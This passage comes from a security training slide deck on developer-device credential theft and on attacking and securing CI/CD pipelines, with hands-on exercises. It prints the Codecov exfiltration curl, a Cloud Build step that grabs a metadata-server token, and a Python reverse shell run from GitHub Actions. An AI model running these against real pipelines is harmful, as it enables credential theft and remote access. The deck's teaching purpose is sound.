    ● (Reference) Use tools to detect and prevent Secret leakage
    ○ GitHub Push Protection, GitLab Secret Detection, Trivy, VS Code/IDE extensions, etc

    View Slide

  64. Consider how to protect credentials
    (Reference) Security of the device itself
    ● Although this slide is based on the assumption of intrusion,
    ● The risk can be lowered by hardening the security of the devices themselves
    ● Example of security measures *Note that the attacker is investigating Defense Evasion.
    ○ Software asset management and Vulnerability Management
    ○ OS and software hardening
    ○ Implementation of anti-malware protection
    ■ Use of EDR/Antivirus Software
    ■ Use an OS that is difficult to infect with malware and has isolation between Apps
    ● Properly configured Chrome OS, iOS, Android, etc.
    ○ Network Restrictions
    ■ Restrict communication between devices and egress traffic to access the C2 server
    ● There are mitigation methods that can and cannot be done in the domain of software and
    infrastructure engineers.
    ● Be aware that the security of your applications leans on the measures taken by other teams.
    * Although outside the scope of this slide, production intrusion by stealing IT Admin privileges is also a major
    attack path. 64
    Domains of IT and
    Security

    View Slide

  65. Exercise 2: Try to secure your token
    ● Perform the following exercises
    ○ https://github.com/rung/training-devenv-security/tree/main/2-exercise2
    ● Goal
    ○ Try some mitigation method from the slide
    ● Exercise
    ○ Try Webauthn
    ○ Try Keyless (within Cloud)
    ○ Assign temporary role via IAM Condition on Google Cloud
    ○ (Optional) Try least privilege on Google Cloud
    ● Additional Exercise (No procedure)
    ○ Network Restriction to Google Cloud API via VPC Service Controls
    65

    View Slide

  66. Summary of Chapter 2
    ● Understanding the attack flow of targeted attacks
    ○ Based on the ATT&CK framework learned in the previous chapter, we understood
    the attack flow when a device is compromised
    ● Credential Access on developer devices
    ○ We understood what credentials could be stolen when developer devices are
    compromised
    ○ We understood that an attack would succeed even with strong authentication
    when the tokens issued are stolen
    ○ We confirmed in a hands-on exercise that you have Chrome cookies, passwords,
    GitHub and Google Cloud tokens on the device and can easily obtain them in plain
    text!
    ● Consider how to protect credentials
    ○ We considered what could be done to reduce the risk of credential access
    ○ We understood that software and infrastructure engineers often cannot do it alone
    and that measures taken by other teams also mitigate risk
    ○ We understood that there are many challenges in storing credential information
    66

    View Slide

  67. 3. CI/CD pipeline security
    67

    View Slide

  68. Agenda
    1. Introduction -
    The Changes in the Development
    Environment and the Attack paths
    2. What remains for
    development devices
    3. CI/CD pipeline security
    Understand that there is an attack path from the client side, as
    outlined below
    ● Recent trends in the development environment
    ● Differences in attack paths due to changes in the
    development environment
    ● Overview of targeted attacks and models of attack
    methods
    Learn what happens in a successful attack on a development
    device and think about what you can do as a developer to
    improve security
    ● Understanding the attack flow of targeted attacks
    ● Credential Access on developer devices
    ● Considering how to protect credentials
    68
    Learn about the new risky component: CI/CD pipeline, and
    why it is dangerous.
    ● Understanding CI/CD pipeline
    ● Understanding and practicing attacks targeting CI/CD
    pipeline
    ● Considering how to protect CI/CD and understand the
    limitations

    View Slide

  69. This chapter’s scope
    ● Consider CI/CD pipelines as a new entry point into production, both from the
    perspective of attacks on the device side, which we have dealt with in the previous
    chapters, and from the perspective of supply chain attacks on the pipeline
    A new entry point into
    production
    69
    High Value Asset we
    want to protect

    View Slide

  70. 2. CI/CD pipeline security
    1.Understanding CI/CD pipeline
    Understand why CI/CD pipelines have become widespread and what they can
    be used for, and practice them in hands-on exercises.
    70

    View Slide

  71. Understanding CI/CD pipeline
    (Recap) Application Development Trends
    ● DevOps Culture
    ○ Practices that combine software development
    (Dev) and operations (Ops)
    ■ High deployment frequency
    ■ Short lead time for changes
    ■ Developers became involved in operations
    ○ Automation
    ■ CI (Continuous Integration)
    ■ CD (Continuous Delivery)
    ● Infrastructure as Code and GitOps trends
    ○ Manage infrastructure in code using Git
    ○ Immutable infrastructure
    ■ Instead of applying updates to existing
    servers, containers are used to rebuild each
    time and replace the container for each
    update
    71

    View Slide

  72. Understanding CI/CD pipeline
    What is a CI/CD Pipeline?
    ● CI/CD pipelines are a core component of DevOps
    ○ Application Deployment
    ● CI/CD Pipelines are also used for Infrastructure configuration
    ○ Infrastructure as Code
    72

    View Slide

  73. Understanding CI/CD pipeline
    Tools
    ● Examples of managed CI/CD Services
    ○ GitHub Actions (Managed)
    ○ AWS CodePipeline
    ○ Google Cloud Build
    ○ GitLab CI/CD (Managed)
    ○ CircleCI, etc
    ● Examples of Self-Hosted CI/CD Services
    ○ Jenkins
    ○ GitHub Actions (Self-Hosted)
    ○ Drone
    ○ GitLab CI, etc
    * Container deployment is often performed by tools such as Spinnaker and ArgoCD, but since the
    above CI/CD tools are also used to build containers, they can be attacked in the same way. We will not
    deal with the container deployment tools here.
    73

    View Slide

  74. Understanding CI/CD pipeline
    The Potential Impact
    ● Security incidents related to CI/CD could cause a big impact because:
    ○ CI/CD is linked to production environment directly
    ○ Setting credentials as environment variables is common practice
    ○ Often the credentials that lead to production can be obtained via a branch that
    anyone can change without review. (No Isolation between CI and CD)
    74

    View Slide

  75. Understanding CI/CD pipeline
    2021: Supply-chain Attack via 3rd party tool
    ● Codecov: a test coverage tools used in CI/CD pipelines
    ○ Attacker injected malicious code to Codecov
    curl -sm 0.5 -d “$(git remote -v)<<<<<< ENV $(env)” http:///upload/v2 || true
    ■ Git repository name and environment variables were uploaded
    ○ The injected code remained undetected by users around the world for two
    months
    75

    View Slide

  76. Understanding CI/CD pipeline
    Difficulties in the CI/CD pipeline security
    ● CI/CD is convenient but risky
    ○ Failure to understand default behavior and threats can quickly lead to production
    breaches due to misconfiguration
    ○ Poor visibility: Difficult to keep and monitor logs
    ○ Managed CI/CD is challenging to limit egress traffic
    ● Static tokens and keys present a high risk
    ○ Portable
    ○ No additional MFA
    ○ No expiration
    ○ Difficult to manage centrally
    ● Supply-chain management is difficult
    ○ Not only software dependencies, but also the tools used on the CI/CD pipeline are
    used in the attack
    ○ It is necessary to know what tools are being used, but it isn't easy because we do
    not have the methods to manage them nicely.
    76
    Best practices have not yet been established, and security-aware design is challenging

    View Slide

  77. Understanding CI/CD pipeline
    ATT&CK-like threat matrix
    We summarized how CI/CD can be compromised and how to protect it as
    an ATT&CK-like threat matrix for CI/CD pipelines
    https://github.com/rung/threat-matrix-cicd 77

    View Slide

  78. Understanding CI/CD pipeline
    (Ref) Top10 CI/CD Security Risks by Cider Security
    “Top10 CI/CD Security Risks” summarizes top risks
    https://www.cidersecurity.io/top-10-cicd-security-risks/ 78

    View Slide

  79. Understanding CI/CD pipeline
    (Ref) SLSA
    ● SLSA: Supply-chain Levels for Software Artifacts
    ○ industry-recognized best practices for measures to protect the supply chain
    ○ Main Scope
    ■ Creation of a software artifact
    ■ Use of dependencies
    ■ A supply chain (From Developer to Consumer)
    79
    (This slide’s goal) Use best practices with an awareness of what each requirement protects.

    View Slide

  80. Understanding CI/CD pipeline
    (Ref) List of CI/CD security-related documents
    80
    Document List of the entire Cloud including
    CI/CD, SLSA
    CI/CD Providers - CloudSecDocs

    View Slide

  81. Exercise 3: Make and try continuous deployment and Infrastructure as code
    ● Perform the following exercises
    ○ https://github.com/rung/training-devenv-security/tree/main/3-exercise3
    ● Goal
    ○ Understand concept of Continuous Deployment and Infrastructure as code(Terraform)
    ● Lab-Setup
    ○ https://github.com/rung/training-devenv-security/blob/main/3-exercise3/lab-setup.md
    ○ You create CI/CD pipeline on your repository
    ● Exercise
    ○ Modify Go code and see automatic deployment
    ○ Add configuration via Terraform
    ○ (Optional) Read code
    81

    View Slide

  82. (References) Lab Environment
    82
    devenv-security-app
    secrets.GCP_S
    A_KEY
    GitHub Actions
    (CD)build &
    deploy
    test
    https://github.com/rung/training-devenv-security/tree/main/template/devenv-security-app/.github/workflows
    main branch
    any branch
    Deployment
    * To simplify the lab, app builds container and deploy it directly
    Cloud Run
    devenv-security-app
    secrets.GCP_S
    A_KEY
    GitHub Actions
    (CD)apply
    plan
    https://github.com/rung/training-devenv-security/tree/main/template/devenv-security-iac/.github/workflows
    Google Cloud
    main branch
    any branch
    Apply
    Google Cloud
    Resource
    on Your Project
    Plan
    (Storage) state
    management
    App
    IaC

    View Slide

  83. Understand attacks targeting the CI/CD pipeline, then perform hands-on
    exercises
    83
    2. CI/CD pipeline security
    2. Understanding and practicing attacks targeting CI/CD pipeline

    View Slide

  84. Understanding and practicing attacks targeting CI/CD pipeline
    Attack surfaces - Example
    84
    Source Code
    (Git Repository)
    Developer, SRE
    Production
    Build/Test Deploy

    Credentials
    on Env Variables
    Approver
    ● Modify CI/CD Configuration
    ● Modify application source
    ● Code Exec via IaC
    ● Supply-chain to Lint, Test, Build
    Tool
    ● Get Credentials of Deploy
    (lack of isolation)
    ● Supply-chain to Deploy Tool
    ● Bypass Review
    Credentials
    on Env Variables
    Merged
    CI CD
    (Reference) https://github.com/rung/threat-matrix-cicd

    View Slide

  85. Understanding and practicing attacks targeting CI/CD pipeline
    Attack Scenario 1 - Supply-chain attacks to managed CI/CD Pipeline
    ● Supply Chain Attacks like CodeCov
    ○ Circle CI’s Secret Environment Variables has global scope in the same repository.
    So any branch can see the env vars. (No isolation between CI and CD)
    85

    View Slide

  86. Understanding and practicing attacks targeting CI/CD pipeline
    Attack Scenario 2 - General Configuration of IaC by Cloud Build
    ● Infrastructure as Code through the CI/CD pipeline
    ○ Infrastructure as Code through the CI/CD pipeline
    ■ GCP Cloud Build can access Secret Manager transparently if Cloud Build
    has the appropriate role
    ■ If not set up properly, main branch and other Isolation will not be done



    86

    View Slide

  87. Understanding and practicing attacks targeting CI/CD pipeline
    Attack Scenario 2 - Attacks targeting common configurations of IaC by Cloud Build
    Device
    (Write
    Permission)
    Plan Apply

    Credential For Cloud
    Configuration
    Approver
    Infrastructure as
    Code
    Cloud Build Cloud Build
    GitHub
    Secret Manager
    Merged
    Cloud
    Infrastructure
    Branch: dev Branch: main
    CI CD
    C&C
    1. Malware Infection via Phishing
    2. Kick CI by push and
    modify cloud build config
    Metadata Server
    3. Metadata server provides Temporary
    Google Service Account Token
    4. Attacker retrieves credential from Secret Manager
    87

    View Slide

  88. Understanding and practicing attacks targeting CI/CD pipeline
    (Ref) Attack Scenario 2 - IaC by Cloud Build
    88
    ● 1. Kick CI/CD(GCP Cloud Build) Using Valid Credentials
    ○ Push from branches run Cloud Build
    ■ Code Execution
    ● Modify Cloud Build configuration (cloudbuild.yaml)
    ● Code Execution through infrastructure as code software tools
    ○ E.g. Terraform: RCE by provider installation(put provider binary
    with .tf), External provider
    ● 2. Privilege Escalation by Metadata’s Service Account Token
    ○ Most of CI/CD services assign the same role to all branches by default
    ■ Cloud Build also assigns the same role
    cloudbuild.yaml (Cloud Build Configuration)
    steps:
    - name: 'curlimages/curl'
    args: ["curl", "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token", "-H",
    "Metadata-Flavor: Google"]...

    View Slide

  89. Understanding and practicing attacks targeting CI/CD pipeline
    (Ref) Attack Scenario 3 - Privilege Escalation in the CI/CD pipeline (Self-hosted)
    ● Privilege Escalation and Lateral Movement to Important Pipelines
    ○ Example of containerized CI/CD pipeline
    ● Real World Example (Sep, 2021)
    ○ Teleport - Anatomy of a Cloud Infrastructure Attack via a Pull Request
    ■ https://goteleport.com/blog/hack-via-pull-request/
    89

    View Slide

  90. Exercise 4: Attack against CI/CD
    ● Perform the following exercises
    ○ https://github.com/rung/training-devenv-security/tree/main/4-exercise4
    ● Goal
    ○ Attack on CI/CD pipelines and understanding the attack surface
    ■ Assume developer's device is compromised
    ■ Assume tool/software dependencies are compromised
    ● Exercise
    ○ Overwrite source code without any review
    ○ Steal secret from non-protected branch
    ○ Try Supply-Chain attacks via Actions the repository uses
    ● Additional Exercise (No procedure)
    ○ Steal IaC's CI(read) token, then see tfstate file on Google Storage
    ○ Steal app's deployment token(now, it's owner), But even if it's editor, it can be escalated
    to Owner. How?
    90

    View Slide

  91. About the CI/CD pipeline that was attacked in the previous exercise,
    Consider how to protect it
    91
    2. CI/CD pipeline security
    3. Considering how to protect CI/CD
    and understand the limitations

    View Slide

  92. Considering how to protect CI/CD and understand the limitations
    Securing CI/CD
    ● Resources for CI/CD Security
    ○ ATT&CK-like Threat matrix contains a "Mitigation" column
    ■ Can be used to determine CI/CD security design
    ○ Top 10 CI/CD Security Risks also includes Recommendation
    ○ Best practices are also useful (SLSA).
    ● CD requires production-level security
    ○ If CD can deploy, it should be considered part of production.
    https://github.com/rung/threat-matrix-cicd 92

    View Slide

  93. Considering how to protect CI/CD and understand the limitations
    Components of CI/CD
    Name Tools
    Device ● Developer Workstation: Mac/Win/Cloud-based
    Git Repository
    Service (SCM)
    ● GitHub, GitLab
    CI ● CI/CD Services (e.g. CircleCI, Cloud Build, Codebuild, GitHub Actions)
    CD
    ● CI/CD Services (e.g. CircleCI, Cloud Build, Codebuild, GitHub Actions)
    ● CD Services (e.g. Spinnaker, ArgoCD)
    Secret
    Management
    ● Secret Management Services (e.g. AWS Secret Manager, GCP Secret
    Manager, Hashicorp Vault)
    Production
    environment
    ● Cloud Services (e.g AWS, Google Cloud, Microsoft Azure)
    ● Other Resources (e.g. Container Registry, Linux Server, Kubernetes)
    93

    View Slide

  94. Considering how to protect CI/CD and understand the limitations
    Mitigation
    Attacker’s Server
    C&C
    Valid Token from
    External Network
    94

    Source Code
    (Git Repository)
    Device
    Production
    Build/Test Deploy

    Approver
    ● Proper Access Controls
    ● Least Privilege
    ● Rate Limiting
    ● Enforce Signed Commits
    ● Audit Logging and Monitoring
    Approved
    Secret Manager
    ● Network restrictions
    ● Audit Logging and
    Monitoring
    ● Rate Limit
    CI CD
    ● Hardened Self-Hosted (Not Managed) which has
    it’s own network
    ● Isolation between CI and CD
    ● Keyless
    ● Audit Logging and Monitoring
    ● Doesn’t use untrusted tools
    ● Tool Integrity Checks
    ● Blocking Code Execution (Disallow CI/CD config
    modification without review, etc)

    ● Use Secret Manager through temporary token(Keyless)
    ● Isolation between main branch and other branches
    ● Proper key management (Key Rotation, Least Privilege and
    Separate permission between CI and CD, etc)
    ● Network Restrictions
    ● Audit Logging and Monitoring


    Egress Restriction


    Network
    Restriction to API
    Secret Manager

    View Slide

  95. Considering how to protect CI/CD and understand the limitations
    Look back to Common Security Principles
    ● Static credentials can be a Single Point of Failure. Once stolen, they can be abused anywhere
    ● Looking at the overall flow of attacks, rather than taking intelligent countermeasures, it could
    be effective to begin with Network Egress restrictions or to reduce the scope of access to
    credentials to prevent 3rd party tools from accessing tokens, etc
    ● Thinking back to the common security principles
    ○ Defense in depth
    ■ Network Restriction, Isolation between CI and CD, Reducing Attack Surface,
    Integrity Checks
    ■ Keyless
    ■ Establish a process to change keys when they may have been abused quickly
    ○ Least Privilege
    ■ Always enforce least privilege
    ○ Others
    ■ Multi-party authentication(Requiring Approval)
    ■ Audit logging and Security Monitoring, etc
    ● Additional considerations are needed to monorepo architectures
    ○ Should be isolated by environment folder or context
    95

    View Slide

  96. Considering how to protect CI/CD and understand the limitations
    Managed vs Self-hosted
    ● Problems with managed CI/CD Pipelines
    ○ Lack of visibility and extensibility
    ○ Shared network between other companies
    ● Options of self-hosted CI/CD
    ○ 1. use self-hosted runner with commercial CI/CD
    ○ 2. build the whole CI/CD infrastructure inhouse based on OSS CI/CD
    (Operation cost is higher)
    ● No perfect solution provided!
    ○ CI/CD security is still a new area.
    Creating a secure CI/CD pipeline requires threat modeling and security-aware
    design
    96

    View Slide

  97. Exercise 5: Secure your CI/CD pipeline
    ● Perform the following exercises
    ○ https://github.com/rung/training-devenv-security/tree/main/5-exercise5
    ● Goal
    ○ Try to secure CI/CD pipeline from attacks and understand the limitation
    ● Exercise
    ○ Configure Branch Protection
    ○ Configure OIDC, then try keyless between GitHub actions and Google Cloud
    ● Additional Exercise (No procedure)
    ○ Enter GitHub Actions using Tailscale and reverseshell (The procedure is in the slide)
    ○ Steal Google Service Account Token in the keyless environment
    ○ Steal IaC's CI(read) token, then see tfstate file on Google Storage
    ■ Then Consider what role CI should have to do Least Privilege policy
    97

    View Slide

  98. Considering how to protect CI/CD and understand the limitations
    (Reference) GitHub Actions OIDC Token (Keyless)
    ● Flow
    ● Structure of ID Token (repository: rung/actions-test, branch: test-run)
    98
    Actions ID Provider
    curl -H "Authorization: bearer ${ACTIONS_ID_TOKEN_REQUEST_TOKEN}"
    "${ACTIONS_ID_TOKEN_REQUEST_URL}&audience="
    ID Token
    Format: JWT(JWS)
    Header: {"typ":"JWT","alg":"RS256","x5t":"...","kid":"..."}
    Payload:
    {"jti":"..."","sub":"repo:rung/actions-test:ref:refs/heads/test-run","aud":"","ref":"refs/heads/test-run","sha":"...","repo
    sitory":"rung/actions-test","repository_owner":"rung","repository_owner_id":"...","run_id":"...","run_number":"...","run_attempt":"1"
    ,"repository_visibility":"private","repository_id":"...","actor_id":"...","actor":"rung","workflow":"...","head_ref":"","base_ref":""
    ,"event_name":"push","ref_type":"branch","job_workflow_ref":"rung/actions-test/.github/workflows/cron.yml@refs/heads/test-run","iss":
    "https://token.actions.githubusercontent.com","nbf":...,"exp":<300sec>,"iat":...}
    Spec of Claims
    Configuring OpenID Connect in cloud providers - GitHub Docs

    View Slide

  99. Considering how to protect CI/CD and understand the limitations
    (Reference) Go into CI/CD and execute commands
    ● Using Tailscale or similar, you can see what's in your CI/CD without having to set up a server.
    ○ (It will be able to communicate directly with the device using the Mesh network)
    ○ 1. Reverse shell from Actions to your device
    ○ 2. Waiting on your device connected to Tailscale
    99
    - name: Setup Tailscale
    uses: tailscale/github-action@main
    with:
    authkey: ${{ secrets.TAILSCALE_SECRET_FOR_DEBUG }}
    - name: shell
    run: |
    export RHOST="";export RPORT=8080;python -c 'import
    socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in
    (0,1,2)];pty.spawn("/bin/sh")'
    % nc -l 8080
    $ hostname
    hostname
    fv-az399-545
    $ curl -H "Authorization: bearer ${ACTIONS_ID_TOKEN_REQUEST_TOKEN}" "${ACTIONS_ID_TOKEN_REQUEST_URL}&audience=test"

    View Slide

  100. Summary of Chapter 3
    ● Understanding CI/CD pipeline
    ○ We understood why CI/CD pipelines have become widespread and what they
    can be used for, and we used them in hands-on exercises.
    ● Understanding and practicing attacks targeting CI/CD pipeline
    ○ We understood attacks targeting the CI/CD pipeline, then performed
    hands-on exercises
    ● Considering how to protect CI/CD and understand the limitations
    ○ We considered how to protect CI/CD and the limitations and practiced how to
    protect them
    100

    View Slide

  101. Let’s wrap it up
    101

    View Slide

  102. (Recap) Goal
    Threat Modeling for
    architecture design
    (Microsoft)
    Improving security through
    cooperation between attackers and
    defenders perspective
    (SANS)
    102
    ● Understand attack paths through the modern
    development environment
    ● Be able to determine the level of importance for each
    item of the best practices from a development
    environment perspective.
    ● Be able to perform Threat Modeling and Security
    Design for new technologies where best practices have
    not yet been established

    View Slide

  103. Agenda
    1. Introduction -
    The Changes in the Development
    Environment and the Attack paths
    2. What remains for
    development devices
    3. CI/CD pipeline security
    Understand that there is an attack path from the client side, as
    outlined below
    ● Recent trends in the development environment
    ● Differences in attack paths due to changes in the
    development environment
    ● Overview of targeted attacks and models of attack
    methods
    Learn what happens in a successful attack on a development
    device and think about what you can do as a developer to
    improve security
    ● Understanding the attack flow of targeted attacks
    ● Credential Access on developer devices
    ● Considering how to protect credentials
    103
    Learn about the new risky component: CI/CD pipeline, and why it is
    dangerous.
    ● Understanding CI/CD pipeline
    ● Understanding and practicing attacks targeting CI/CD pipeline
    ● Considering how to protect CI/CD and understand the
    limitations
    We understood that application breaches could happen
    in an attack scenario through the development environment.

    View Slide

  104. Special Thanks!
    104

    View Slide

  105. Special Thanks!
    ● Security 2022 Web Security Class
    ○ Producer: Takashi Yoneuchi
    ○ Tutor: Yuta Morioka
    ● Reviewer / Advisor (Abc order)
    ○ Ginji Hayashi
    ○ Kengo Suzuki
    ○ Masahiro Yamada
    ○ Miki Takahashi
    ○ Mitsuaki (Mitch) Shiraishi
    105

    View Slide

  106. References
    106

    View Slide

  107. References
    ● 1. Introduction - The Changes in the Development Environment and the Attack paths
    ○ Tomohisa Ishikawa, 2022”Textbook of Cyber Threat Intelligence” (in Japanese)
    ○ Adam Shostack, 2014 ”Threat Modeling: Designing for Security”
    ○ Purple Teaming Explained
    ○ Threat Modeling at Mercari
    ○ MITRE ATT&CK®
    ○ The Unified Kill Chain
    ○ MITRE ATT&CK Defender™ (MAD) ATT&CK® Fundamentals Badge Training
    ○ Microsoft Security Development Lifecycle Threat Modelling
    ● 2. What remains for development devices
    ○ The C2 Matrix
    ○ Pursuing evasive custom command & control - GuideM
    ○ Chromium Docs - Chrome Security FAQ
    ○ About Multifactor Authentication | Okta
    ○ GitHub - swisskyrepo/PayloadsAllTheThings
    ○ HackTricks
    ○ Stealing Chrome cookies without a password
    ○ GitHub - moonD4rk/HackBrowserData
    107

    View Slide

  108. References
    ● 3. CI/CD pipeline security
    ○ Attacking and Securing CI/CD Pipeline - Speaker Deck
    ○ Terraform CI code execution restrictions | Mercari Engineering
    ○ Common Threat Matrix for CI/CD Pipeline
    ○ Top 10 CI/CD Security Risks
    ○ SLSA: Supply-chain Levels for Software Artifacts
    ○ CNCF Software Supply Chain Best Practices
    ○ The Insecure Software Supply Chain - A History of Failure and a New Way Forward
    108

    View Slide